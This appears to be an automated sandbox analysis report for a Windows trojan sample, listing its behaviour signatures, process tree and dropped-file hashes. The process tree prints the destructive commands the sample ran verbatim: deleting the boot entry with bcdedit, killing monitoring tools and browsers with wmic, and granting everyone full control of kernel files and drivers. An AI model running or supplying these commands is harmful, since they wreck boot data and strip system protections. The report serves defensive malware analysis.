Resubmissions

16/03/2024, 15:20

240316-sq9desff3410

16/03/2024, 15:16

240316-sns9esdf2110

Analysis

  • max time kernel
    117s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/03/2024, 15:20

General

  • Target
    Trojan/0x07.exe
  • Size 247KB
  • Sample240316-sq9desff34
  • SHA256 52d6d769eb474d4138ac31e05634a6ca7a4ebef5920f8356c1cd70d9fa42c2fb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 25 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Modifies file permissions 1 TTPs 25 IoCs
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe
    "C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"
    1⤵
    • Checks computer location settings
    • Writes to the Master Boot Record (MBR)
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:2072
    • C:\Windows\Temp\winconfig.exe
      "C:\Windows\Temp\winconfig.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1484
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A728.tmp\A739.tmp\A73A.bat C:\Windows\Temp\winconfig.exe"
        3⤵
        • Drops file in Drivers directory
        • Suspicious use of WriteProcessMemory
        PID:2384
        • C:\Users\Admin\AppData\Roaming\DetectKey.exe
          "C:\Users\Admin\AppData\Roaming\DetectKey.exe"
          4⤵
          • Executes dropped EXE
          PID:4564
        • C:\Windows\system32\bcdedit.exe
          bcdedit /delete {current}
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4308
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='taskmgr.exe' delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4688
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='perfmon.exe' delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3144
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='mmc.exe' delete /nointeractive
          4⤵
            PID:4064
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic process where name='PartAssist.exe' delete /nointeractive
            4⤵
              PID:4576
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic process where name='control.exe' delete /nointeractive
              4⤵
                PID:4604
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic process where name='ProcessHacker.exe' delete /nointeractive
                4⤵
                  PID:4080
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic process where name='Security Task Manager.exe' delete /nointeractive
                  4⤵
                    PID:1824
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic process where name='Security Task Manager Protable.exe' delete /nointeractive
                    4⤵
                      PID:4196
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic process where name='CCleaner.exe' delete /nointeractive
                      4⤵
                        PID:2584
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic process where name='procexp.exe' delete /nointeractive
                        4⤵
                          PID:372
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic process where name='procexp64.exe' delete /nointeractive
                          4⤵
                            PID:1076
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic process where name='procexp64a.exe' delete /nointeractive
                            4⤵
                              PID:312
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic process where name='logonui.exe' delete /nointeractive
                              4⤵
                                PID:4768
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic process where name='regedit.exe' delete /nointeractive
                                4⤵
                                  PID:760
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic process where name='iexplore.exe' delete /nointeractive
                                  4⤵
                                    PID:4740
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic process where name='chrome.exe' delete /nointeractive
                                    4⤵
                                      PID:3048
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic process where name='firefox.exe' delete /nointeractive
                                      4⤵
                                        PID:3836
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic process where name='opera.exe' delete /nointeractive
                                        4⤵
                                          PID:2248
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic process where name='edge.exe' delete /nointeractive
                                          4⤵
                                            PID:448
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic process where name='msedge.exe' delete /nointeractive
                                            4⤵
                                              PID:312
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic process where name='brave.exe' delete /nointeractive
                                              4⤵
                                                PID:3356
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic process where name='wmplayer.exe' delete /nointeractive
                                                4⤵
                                                  PID:2088
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic process where name='notepad.exe' delete /nointeractive
                                                  4⤵
                                                    PID:3800
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic process where name='notepad++.exe' delete /nointeractive
                                                    4⤵
                                                      PID:4084
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic process where name='taskmgr.exe' delete /nointeractive
                                                      4⤵
                                                        PID:1000
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic process where name='perfmon.exe' delete /nointeractive
                                                        4⤵
                                                          PID:3836
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic process where name='logonui.exe' delete /nointeractive
                                                          4⤵
                                                            PID:3016
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                            4⤵
                                                              PID:4848
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\taskmgr.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4440
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\hal.dll"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:3208
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\winload.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4264
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\ntoskrnl.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:756
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\perfmon.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1136
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\resmon.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4244
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\logonui.exe
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2216
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\taskkill.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1976
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\tasklist.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4396
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\tskill.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4352
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\logonui.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:692
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Program Files\Process Hacker 2"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2604
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\System32\drivers"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4744
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic process where name='taskmgr.exe' delete /nointeractive
                                                              4⤵
                                                                PID:2172
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic process where name='perfmon.exe' delete /nointeractive
                                                                4⤵
                                                                  PID:2204
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic process where name='logonui.exe' delete /nointeractive
                                                                  4⤵
                                                                    PID:3652
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                                    4⤵
                                                                      PID:2432
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:4436
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\hal.dll" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:4832
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\winload.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:3096
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:3648
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:3088
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1840
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:5100
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2200
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:920
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1492
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:4080
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2656
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic process where name='taskmgr.exe' delete /nointeractive
                                                                      4⤵
                                                                        PID:5056
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic process where name='perfmon.exe' delete /nointeractive
                                                                        4⤵
                                                                          PID:4264
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic process where name='logonui.exe' delete /nointeractive
                                                                          4⤵
                                                                            PID:2680
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                                            4⤵
                                                                              PID:4404
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                              4⤵
                                                                                PID:208
                                                                              • C:\Windows\system32\cacls.exe
                                                                                cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
                                                                                4⤵
                                                                                  PID:3324
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                  4⤵
                                                                                    PID:400
                                                                                  • C:\Windows\system32\cacls.exe
                                                                                    cacls "C:\Windows\system32\hal.dll" /grant "everyone":F
                                                                                    4⤵
                                                                                      PID:2604
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                      4⤵
                                                                                        PID:4744
                                                                                      • C:\Windows\system32\cacls.exe
                                                                                        cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
                                                                                        4⤵
                                                                                          PID:3012
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                          4⤵
                                                                                            PID:3940
                                                                                          • C:\Windows\system32\cacls.exe
                                                                                            cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
                                                                                            4⤵
                                                                                              PID:1472
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                              4⤵
                                                                                                PID:4756
                                                                                              • C:\Windows\system32\cacls.exe
                                                                                                cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
                                                                                                4⤵
                                                                                                  PID:5008
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                  4⤵
                                                                                                    PID:3872
                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                    cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
                                                                                                    4⤵
                                                                                                      PID:3652
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                      4⤵
                                                                                                        PID:3276
                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                        cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
                                                                                                        4⤵
                                                                                                          PID:2588
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                          4⤵
                                                                                                            PID:4436
                                                                                                          • C:\Windows\system32\cacls.exe
                                                                                                            cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
                                                                                                            4⤵
                                                                                                              PID:2016
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                              4⤵
                                                                                                                PID:3116
                                                                                                              • C:\Windows\system32\cacls.exe
                                                                                                                cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
                                                                                                                4⤵
                                                                                                                  PID:1692
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                  4⤵
                                                                                                                    PID:3984
                                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                                    cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F
                                                                                                                    4⤵
                                                                                                                      PID:3088
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                      4⤵
                                                                                                                        PID:5064
                                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                                        cacls "C:\Windows\System32\drivers" /grant "everyone":F
                                                                                                                        4⤵
                                                                                                                          PID:1108
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4080 --field-trial-handle=2252,i,16504368816373493055,9578615028378602855,262144 --variations-seed-version /prefetch:8
                                                                                                                    1⤵
                                                                                                                      PID:2588

                                                                                                                    Network

                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                          Replay Monitor

                                                                                                                          Loading Replay Monitor...

                                                                                                                          Downloads

                                                                                                                          A73A.bat

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\A728.tmp\A739.tmp\A73A.bat
                                                                                                                          • Size 5KB
                                                                                                                          • SHA256 3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                          DetectKey.exe

                                                                                                                          • Path C:\Users\Admin\AppData\Roaming\DetectKey.exe
                                                                                                                          • Size 87KB
                                                                                                                          • SHA256 490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                          DetectKey.exe

                                                                                                                          • Path C:\Users\Admin\AppData\Roaming\DetectKey.exe
                                                                                                                          • Size 76KB
                                                                                                                          • SHA256 d62af5baf48e4227736e586b039eac6b8cab2a118fced8d2738e271f343ce6d8
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                          winconfig.exe

                                                                                                                          • Path C:\Windows\Temp\winconfig.exe
                                                                                                                          • Size 139KB
                                                                                                                          • SHA256 c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP